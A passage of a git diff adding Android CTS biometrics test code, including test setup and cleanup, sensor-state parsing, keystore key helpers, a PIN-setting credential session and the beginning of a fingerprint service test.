+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
+        mDevice = UiDevice.getInstance(mInstrumentation);
+        mSensorProperties = mBiometricManager.getSensorProperties();
+
+        assumeTrue(mInstrumentation.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+
+        mHasStrongBox = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_STRONGBOX_KEYSTORE);
+
+        // Keep the screen on for the duration of each test, since BiometricPrompt goes away
+        // when screen turns off.
+        final PowerManager pm = mInstrumentation.getContext().getSystemService(PowerManager.class);
+        mWakeLock = pm.newWakeLock(FULL_WAKE_LOCK, TAG);
+        mWakeLock.acquire();
+
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+    }
+
+    @After
+    public void cleanup() {
+        mInstrumentation.waitForIdleSync();
+
+        try {
+            Utils.waitForIdleService(this::getSensorStates);
+        } catch (Exception e) {
+            Log.e(TAG, "Exception when waiting for idle", e);
+        }
+
+        try {
+            final BiometricServiceState state = getCurrentState();
+
+            for (Map.Entry<Integer, SensorState> sensorEntry
+                    : state.mSensorStates.sensorStates.entrySet()) {
+                for (Map.Entry<Integer, UserState> userEntry
+                        : sensorEntry.getValue().getUserStates().entrySet()) {
+                    if (userEntry.getValue().numEnrolled != 0) {
+                        Log.w(TAG, "Cleaning up for sensor: " + sensorEntry.getKey()
+                                + ", user: " + userEntry.getKey());
+                        BiometricTestSession session = mBiometricManager.createTestSession(
+                                sensorEntry.getKey());
+                        session.cleanupInternalState(userEntry.getKey());
+                        session.close();
+                    }
+                }
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Unable to get current state in cleanup()");
+        }
+
+        // Authentication lifecycle is done
+        try {
+            Utils.waitForIdleService(this::getSensorStates);
+        } catch (Exception e) {
+            Log.e(TAG, "Exception when waiting for idle", e);
+        }
+
+        if (mWakeLock != null) {
+            mWakeLock.release();
+        }
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    protected void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
+            throws Exception {
+        Log.d(TAG, "Enrolling for sensor: " + sensorId);
+        final int userId = 0;
+
+        session.startEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        Utils.waitForBusySensor(sensorId, this::getSensorStates);
+
+        session.finishEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        Utils.waitForIdleService(this::getSensorStates);
+
+        final BiometricServiceState state = getCurrentState();
+        assertEquals("Sensor: " + sensorId + " should have exactly one enrollment",
+                1, state.mSensorStates.sensorStates
+                .get(sensorId).getUserStates().get(userId).numEnrolled);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Components.java b/tests/framework/base/biometrics/src/android/server/biometrics/Components.java
new file mode 100644
index 0000000..8734436
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Components.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+    public static final ComponentName CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY =
+            component("Class2BiometricOrCredentialActivity");
+    public static final ComponentName CLASS_2_BIOMETRIC_ACTIVITY =
+            component("Class2BiometricActivity");
+    public static final ComponentName CLASS_3_BIOMETRIC_ACTIVITY =
+            component("Class3BiometricActivity");
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java b/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java
new file mode 100644
index 0000000..c8e4871
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+public class CredentialSession implements AutoCloseable {
+
+    private static final String SET_PASSWORD = "locksettings set-pin 1234";
+    private static final String CLEAR_PASSWORD = "locksettings clear --old 1234";
+    private static final String VERIFY_CREDENTIAL = "locksettings verify --old 1234";
+
+    public void setCredential() {
+        Utils.executeShellCommand(SET_PASSWORD);
+    }
+
+    public void verifyCredential() {
+        Utils.executeShellCommand(VERIFY_CREDENTIAL);
+    }
+
+    @Override
+    public void close() throws Exception {
+        Utils.executeShellCommand(CLEAR_PASSWORD);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
new file mode 100644
index 0000000..f0b5cf2
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.biometrics.nano.BiometricSchedulerProto;
+import com.android.server.biometrics.nano.BiometricsProto;
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
+import com.android.server.biometrics.nano.UserStateProto;
+
+import com.google.common.primitives.Ints;
+
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * The overall state for a list of sensors. This could be either:
+ *
+ * 1) A list of sensors from a single instance of a <Biometric>Service such as
+ * {@link com.android.server.biometrics.sensors.fingerprint.FingerprintService} or
+ * {@link com.android.server.biometrics.sensors.face.FaceService}, or
+ *
+ * 2) A list of sensors from multiple instances of <Biometric>Services.
+ *
+ * Note that a single service may provide multiple sensors.
+ */
+public class SensorStates {
+
+    @NonNull public final Map<Integer, SensorState> sensorStates;
+
+    public static class SchedulerState {
+        private final int mCurrentOperation;
+        private final int mTotalOperations;
+        @NonNull private final List<Integer> mRecentOperations;
+
+        public static SchedulerState parseFrom(@NonNull BiometricSchedulerProto proto) {
+            return new SchedulerState(proto.currentOperation, proto.totalOperations,
+                    Ints.asList(proto.recentOperations));
+        }
+
+        public SchedulerState(int currentOperation, int totalOperations,
+                @NonNull List<Integer> recentOperations) {
+            mCurrentOperation = currentOperation;
+            mTotalOperations = totalOperations;
+            mRecentOperations = recentOperations;
+        }
+
+        @NonNull
+        public List<Integer> getRecentOperations() {
+            return mRecentOperations;
+        }
+    }
+
+    public static class SensorState {
+        private final SchedulerState mSchedulerState;
+        private final int mModality;
+        @NonNull private final Map<Integer, UserState> mUserStates;
+        private final boolean mResetLockoutRequiresHardwareAuthToken;
+        private final boolean mResetLockoutRequiresChallenge;
+
+        public SensorState(@NonNull SchedulerState schedulerState, int modality,
+                @NonNull Map<Integer, UserState> userStates,
+                boolean resetLockoutRequiresHardwareAuthToken,
+                boolean resetLockoutRequiresChallenge) {
+            this.mSchedulerState = schedulerState;
+            this.mModality = modality;
+            this.mUserStates = userStates;
+            this.mResetLockoutRequiresHardwareAuthToken = resetLockoutRequiresHardwareAuthToken;
+            this.mResetLockoutRequiresChallenge = resetLockoutRequiresChallenge;
+        }
+
+        public SchedulerState getSchedulerState() {
+            return mSchedulerState;
+        }
+
+        public boolean isBusy() {
+            return mSchedulerState.mCurrentOperation != BiometricsProto.CM_NONE;
+        }
+
+        public int getModality() {
+            return mModality;
+        }
+
+        @NonNull public Map<Integer, UserState> getUserStates() {
+            return mUserStates;
+        }
+
+        public boolean isResetLockoutRequiresHardwareAuthToken() {
+            return mResetLockoutRequiresHardwareAuthToken;
+        }
+
+        public boolean isResetLockoutRequiresChallenge() {
+            return mResetLockoutRequiresChallenge;
+        }
+    }
+
+    public static class UserState {
+        public final int numEnrolled;
+
+        public UserState(int numEnrolled) {
+            this.numEnrolled = numEnrolled;
+        }
+    }
+
+    @NonNull
+    public static SensorStates parseFrom(@NonNull SensorServiceStateProto proto) {
+        final Map<Integer, SensorState> sensorStates = new HashMap<>();
+
+        for (SensorStateProto sensorStateProto : proto.sensorStates) {
+            final Map<Integer, UserState> userStates = new HashMap<>();
+            for (UserStateProto userStateProto : sensorStateProto.userStates) {
+                userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
+            }
+
+            final SchedulerState schedulerState =
+                    SchedulerState.parseFrom(sensorStateProto.scheduler);
+            final SensorState sensorState = new SensorState(schedulerState,
+                    sensorStateProto.modality, userStates,
+                    sensorStateProto.resetLockoutRequiresHardwareAuthToken,
+                    sensorStateProto.resetLockoutRequiresChallenge);
+            sensorStates.put(sensorStateProto.sensorId, sensorState);
+        }
+
+        return new SensorStates(sensorStates);
+    }
+
+    /**
+     * Combines multiple {@link SensorStates} into a single instance.
+     */
+    @NonNull
+    public static SensorStates merge(@NonNull List<SensorStates> sensorServiceStates) {
+        final Map<Integer, SensorState> sensorStates = new HashMap<>();
+
+        for (SensorStates sensorServiceState : sensorServiceStates) {
+            for (Integer sensorId : sensorServiceState.sensorStates.keySet()) {
+                if (sensorStates.containsKey(sensorId)) {
+                    throw new IllegalStateException("Duplicate sensorId found: " + sensorId);
+                }
+                sensorStates.put(sensorId, sensorServiceState.sensorStates.get(sensorId));
+            }
+        }
+
+        return new SensorStates(sensorStates);
+    }
+
+    public boolean areAllSensorsIdle() {
+        for (SensorState state : sensorStates.values()) {
+            if (state.isBusy()) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean containsModality(int modality) {
+        for (SensorState state : sensorStates.values()) {
+            if (state.getModality() == modality) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private SensorStates(@NonNull Map<Integer, SensorState> sensorStates) {
+        this.sensorStates = sensorStates;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+
+        for (Integer sensorId : sensorStates.keySet()) {
+            sb.append("{SensorId: ").append(sensorId);
+            sb.append(", Operation: ").append(sensorStates.get(sensorId)
+                    .getSchedulerState().mCurrentOperation);
+
+            final Map<Integer, UserState> userStates = sensorStates.get(sensorId).getUserStates();
+            for (Integer userId : userStates.keySet()) {
+                sb.append(", UserId: ").append(userId);
+                sb.append(", NumEnrolled: ").append(userStates.get(userId).numEnrolled);
+            }
+            sb.append("} ");
+        }
+        return sb.toString();
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
new file mode 100644
index 0000000..53b2220
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.content.ComponentName;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.SensorProperties;
+import android.os.ParcelFileDescriptor;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+import android.server.wm.Condition;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.security.KeyStore;
+import java.util.List;
+import java.util.function.BooleanSupplier;
+import java.util.function.Consumer;
+
+import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
+import javax.crypto.SecretKey;
+
+public class Utils {
+
+    private static final String TAG = "BiometricTestUtils";
+    private static final String KEYSTORE_PROVIDER = "AndroidKeyStore";
+
+    /**
+     * Retrieves the current SensorStates.
+     */
+    public interface SensorStatesSupplier {
+        SensorStates getSensorStates() throws Exception;
+    }
+
+    /**
+     * Waits for the service to become idle
+     * @throws Exception
+     */
+    public static void waitForIdleService(@NonNull SensorStatesSupplier supplier) throws Exception {
+        for (int i = 0; i < 10; i++) {
+            if (!supplier.getSensorStates().areAllSensorsIdle()) {
+                Log.d(TAG, "Not idle yet..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for idle");
+    }
+
+    /**
+     * Waits for the specified sensor to become non-idle
+     */
+    public static void waitForBusySensor(int sensorId, @NonNull SensorStatesSupplier supplier)
+            throws Exception {
+        for (int i = 0; i < 10; i++) {
+            if (!supplier.getSensorStates().sensorStates.get(sensorId).isBusy()) {
+                Log.d(TAG, "Not busy yet..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting to become busy");
+    }
+
+    public static void waitFor(@NonNull String message, @NonNull BooleanSupplier condition) {
+        waitFor(message, condition, null /* onFailure */);
+    }
+
+    public static void waitFor(@NonNull String message, @NonNull BooleanSupplier condition,
+            @Nullable Consumer<Object> onFailure) {
+        Condition.waitFor(new Condition<>(message, condition)
+                .setRetryIntervalMs(500)
+                .setRetryLimit(20)
+                .setOnFailure(onFailure));
+    }
+
+    /**
+     * Runs a shell command, similar to running "adb shell ..." from the command line.
+     * @param cmd A command, without the preceding "adb shell" portion. For example,
+     *            passing in "dumpsys fingerprint" would be the equivalent of running
+     *            "adb shell dumpsys fingerprint" from the command line.
+     * @return The result of the command.
+     */
+    public static byte[] executeShellCommand(String cmd) {
+        try {
+            ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                    .executeShellCommand(cmd);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static void forceStopActivity(ComponentName componentName) {
+        executeShellCommand("am force-stop " + componentName.getPackageName()
+                + " " + componentName.getShortClassName().replaceAll("\\.", ""));
+    }
+
+    public static int numberOfSpecifiedOperations(@NonNull BiometricServiceState state,
+            int sensorId, int operation) {
+        int count = 0;
+        final List<Integer> recentOps = state.mSensorStates.sensorStates.get(sensorId)
+                .getSchedulerState().getRecentOperations();
+        for (Integer i : recentOps) {
+            if (i == operation) {
+                count++;
+            }
+        }
+        return count;
+    }
+
+    public static void createTimeBoundSecretKey_deprecated(String keyName, boolean useStrongBox)
+            throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        KeyGenerator keyGenerator = KeyGenerator.getInstance(
+                KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
+
+        // Set the alias of the entry in Android KeyStore where the key will appear
+        // and the constrains (purposes) in the constructor of the Builder
+        keyGenerator.init(new KeyGenParameterSpec.Builder(keyName,
+                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+                .setUserAuthenticationRequired(true)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+                .setIsStrongBoxBacked(useStrongBox)
+                .setUserAuthenticationValidityDurationSeconds(5 /* seconds */)
+                .build());
+        keyGenerator.generateKey();
+    }
+
+    static void createTimeBoundSecretKey(String keyName, int authTypes, boolean useStrongBox)
+            throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        KeyGenerator keyGenerator = KeyGenerator.getInstance(
+                KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
+
+        // Set the alias of the entry in Android KeyStore where the key will appear
+        // and the constrains (purposes) in the constructor of the Builder
+        keyGenerator.init(new KeyGenParameterSpec.Builder(keyName,
+                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+                .setUserAuthenticationRequired(true)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+                .setIsStrongBoxBacked(useStrongBox)
+                .setUserAuthenticationParameters(1 /* seconds */, authTypes)
+                .build());
+        keyGenerator.generateKey();
+    }
+
+    public static void generateBiometricBoundKey(String keyName, boolean useStrongBox)
+            throws Exception {
+        final KeyStore keystore = KeyStore.getInstance(KEYSTORE_PROVIDER);
+        keystore.load(null);
+        KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+                keyName,
+                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
+                .setUserAuthenticationRequired(true)
+                .setInvalidatedByBiometricEnrollment(true)
+                .setIsStrongBoxBacked(useStrongBox)
+                .setUserAuthenticationParameters(0, KeyProperties.AUTH_BIOMETRIC_STRONG);
+
+        KeyGenerator keyGenerator = KeyGenerator
+                .getInstance(KeyProperties.KEY_ALGORITHM_AES, KEYSTORE_PROVIDER);
+        keyGenerator.init(builder.build());
+
+        // Generates and stores the key in Android KeyStore under the keystoreAlias (keyName)
+        // specified in the builder.
+        keyGenerator.generateKey();
+    }
+
+    public static BiometricPrompt.CryptoObject initializeCryptoObject(String keyName)
+            throws Exception {
+        final KeyStore keystore = KeyStore.getInstance(KEYSTORE_PROVIDER);
+        keystore.load(null);
+        final SecretKey secretKey = (SecretKey) keystore.getKey(
+                keyName, null /* password */);
+        final Cipher cipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/"
+                + KeyProperties.BLOCK_MODE_CBC + "/"
+                + KeyProperties.ENCRYPTION_PADDING_PKCS7);
+        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
+
+        final BiometricPrompt.CryptoObject cryptoObject =
+                new BiometricPrompt.CryptoObject(cipher);
+        return cryptoObject;
+    }
+
+    public static boolean isPublicAuthenticatorConstant(int authenticator) {
+        switch (authenticator) {
+            case BiometricManager.Authenticators.BIOMETRIC_STRONG:
+            case BiometricManager.Authenticators.BIOMETRIC_WEAK:
+            case BiometricManager.Authenticators.DEVICE_CREDENTIAL:
+                return true;
+            default:
+                return false;
+        }
+    }
+
+    public static int testApiStrengthToAuthenticatorStrength(int testApiStrength) {
+        switch (testApiStrength) {
+            case SensorProperties.STRENGTH_STRONG:
+                return BiometricManager.Authenticators.BIOMETRIC_STRONG;
+            case SensorProperties.STRENGTH_WEAK:
+                return BiometricManager.Authenticators.BIOMETRIC_WEAK;
+            default:
+                throw new IllegalArgumentException("Unable to convert testApiStrength: "
+                        + testApiStrength);
+        }
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java
new file mode 100644
index 0000000..3d0d35e
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+    public static final ComponentName AUTH_ON_CREATE_ACTIVITY = component("AuthOnCreateActivity");
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java
new file mode 100644
index 0000000..21d3ff0
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.app.Activity;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+
+/**
+ * Authentication callback helper that allows easy transfer between test activities and
+ * CTS via {@link android.server.wm.TestJournalProvider.TestJournal}, as well as serialization
+ * and deserialization.
+ *
+ * Note that generally a single instance of this helper should only be used for a single
+ * authentication.
+ */
+@SuppressWarnings("deprecation")
+public class FingerprintCallbackHelper extends FingerprintManager.AuthenticationCallback {
+
+    public static final String KEY = "key_auth_callback";
+
+    public static class State {
+        private static final String KEY_ERRORS_RECEIVED = "key_errors_received";
+        private static final String KEY_ACQUIRED_RECEIVED = "key_acquired_received";
+        private static final String KEY_NUM_ACCEPTED = "key_num_accepted";
+        private static final String KEY_NUM_REJECTED = "key_num_rejected";
+
+        public final ArrayList<Integer> mErrorsReceived;
+        public final ArrayList<Integer> mAcquiredReceived;
+        public int mNumAuthAccepted;
+        public int mNumAuthRejected;
+
+        public State() {
+            mErrorsReceived = new ArrayList<>();
+            mAcquiredReceived = new ArrayList<>();
+        }
+
+        public Bundle toBundle() {
+            final Bundle bundle = new Bundle();
+            bundle.putIntegerArrayList(KEY_ERRORS_RECEIVED, mErrorsReceived);
+            bundle.putIntegerArrayList(KEY_ACQUIRED_RECEIVED, mAcquiredReceived);
+            bundle.putInt(KEY_NUM_ACCEPTED, mNumAuthAccepted);
+            bundle.putInt(KEY_NUM_REJECTED, mNumAuthRejected);
+            return bundle;
+        }
+
+        private State(ArrayList<Integer> errorsReceived, ArrayList<Integer> acquiredReceived,
+                int numAuthAccepted, int numAuthRejected) {
+            mErrorsReceived = errorsReceived;
+            mAcquiredReceived = acquiredReceived;
+            mNumAuthAccepted = numAuthAccepted;
+            mNumAuthRejected = numAuthRejected;
+        }
+
+        public static State fromBundle(@NonNull Bundle bundle) {
+            return new State(
+                    bundle.getIntegerArrayList(KEY_ERRORS_RECEIVED),
+                    bundle.getIntegerArrayList(KEY_ACQUIRED_RECEIVED),
+                    bundle.getInt(KEY_NUM_ACCEPTED),
+                    bundle.getInt(KEY_NUM_REJECTED));
+        }
+    }
+
+    private final Activity mActivity;
+    private final State mState;
+
+    @Override
+    public void onAuthenticationError(int errorCode, CharSequence errString) {
+        mState.mErrorsReceived.add(errorCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationHelp(int helpCode, CharSequence helpString) {
+        mState.mAcquiredReceived.add(helpCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result) {
+        mState.mNumAuthAccepted++;
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationFailed() {
+        mState.mNumAuthRejected++;
+        updateJournal();
+    }
+
+    public FingerprintCallbackHelper(@NonNull Activity activity) {
+        mActivity = activity;
+        mState = new State();
+
+        // Update with empty state. It's faster than waiting/retrying for null on CTS-side.
+        updateJournal();
+    }
+
+    private void updateJournal() {
+        TestJournalProvider.putExtras(mActivity,
+                bundle -> bundle.putBundle(KEY, mState.toBundle()));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
new file mode 100644
index 0000000..4fa5031
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import static android.server.biometrics.SensorStates.SensorState;
+import static android.server.biometrics.SensorStates.UserState;
+import static android.server.biometrics.fingerprint.Components.AUTH_ON_CREATE_ACTIVITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.biometrics.SensorStates;
+import android.server.biometrics.Utils;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.TestJournalProvider.TestJournal;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.UiDeviceUtils;
+import android.server.wm.WindowManagerState;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+@SuppressWarnings("deprecation")
+@Presubmit
+public class FingerprintServiceTest extends ActivityManagerTestBase {
+    private static final String TAG = "FingerprintServiceTest";
+
+    private static final String DUMPSYS_FINGERPRINT = "dumpsys fingerprint --proto --state";
+
+    private SensorStates getSensorStates() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_FINGERPRINT);
+        SensorServiceStateProto proto = SensorServiceStateProto.parseFrom(dump);
+        return SensorStates.parseFrom(proto);
+    }
+
+    @Nullable
+    private static FingerprintCallbackHelper.State getCallbackState(@NonNull TestJournal journal) {
+        Utils.waitFor("Waiting for authentication callback",
+                () -> journal.extras.containsKey(FingerprintCallbackHelper.KEY));
+
+        final Bundle bundle = journal.extras.getBundle(FingerprintCallbackHelper.KEY);
+        if (bundle == null) {
+            return null;
+        }
+
+        final FingerprintCallbackHelper.State state =
+                FingerprintCallbackHelper.State.fromBundle(bundle);
+
+        // Clear the extras since we want to wait for the journal to sync any new info the next
+        // time it's read
+        journal.extras.clear();
+
+        return state;
+    }
+
+    @NonNull private Instrumentation mInstrumentation;
+    @Nullable private FingerprintManager mFingerprintManager;
+    @NonNull private List<SensorProperties> mSensorProperties;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = getInstrumentation();
+        mFingerprintManager = mInstrumentation.getContext()
+                .getSystemService(FingerprintManager.class);
+
+        // Tests can be skipped on devices without FingerprintManager
+        assumeTrue(mFingerprintManager != null);
+
+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
+
+        mSensorProperties = mFingerprintManager.getSensorProperties();
+
+        // Tests can be skipped on devices without fingerprint sensors
+        assumeTrue(!mSensorProperties.isEmpty());
+    }
+
+    @After
+    public void cleanup() throws Exception {
+        if (mFingerprintManager == null || mSensorProperties.isEmpty()) {
+            // The tests were skipped anyway, nothing to clean up. Maybe we can use JUnit test
+            // annotations in the future.
+            return;
+        }
+
+
+        mInstrumentation.waitForIdleSync();
+        Utils.waitForIdleService(this::getSensorStates);
+
+        final SensorStates sensorStates = getSensorStates();
